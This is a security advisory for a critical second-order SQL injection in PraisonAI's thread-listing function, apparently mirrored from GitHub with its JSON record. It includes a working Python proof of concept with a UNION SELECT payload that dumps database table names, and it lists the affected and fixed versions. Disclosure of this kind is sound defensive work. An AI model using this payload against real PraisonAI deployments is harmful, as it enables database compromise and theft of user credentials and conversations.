GHSA-9CQ8-3V94-434G
Vulnerability from github – Published: 2026-04-01 23:20 – Updated: 2026-04-06 22:53
VLAI?
Summary
PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`
Details
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
Details
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow: - Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
Severity ?
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.89"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.90"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34934"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:20:32Z",
"nvd_published_at": "2026-04-03T23:17:05Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n---\n\n## Details\n\n**File Path:** \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n\n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"(\u0027\" + \"\u0027,\u0027\".join([t[\"thread_id\"] for t in user_threads]) + \"\u0027)\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n # Insert a valid thread\n await data_layer.update_thread(\n thread_id=\"valid_thread\", \n user_id=\"attacker\"\n )\n\n # Inject malicious payload\n payload = \"x\u0027) UNION SELECT name, null, null, \u0027valid_thread\u0027, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n await data_layer.update_thread(\n thread_id=payload, \n user_id=\"attacker\"\n )\n\n # Trigger vulnerable function\n result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n for thread in result:\n if getattr(thread, \u0027id\u0027, \u0027\u0027) == \u0027valid_thread\u0027:\n for step in getattr(thread, \u0027steps\u0027, []):\n print(getattr(step, \u0027id\u0027, \u0027\u0027))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n\nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents",
"id": "GHSA-9cq8-3v94-434g",
"modified": "2026-04-06T22:53:53Z",
"published": "2026-04-01T23:20:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34934"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…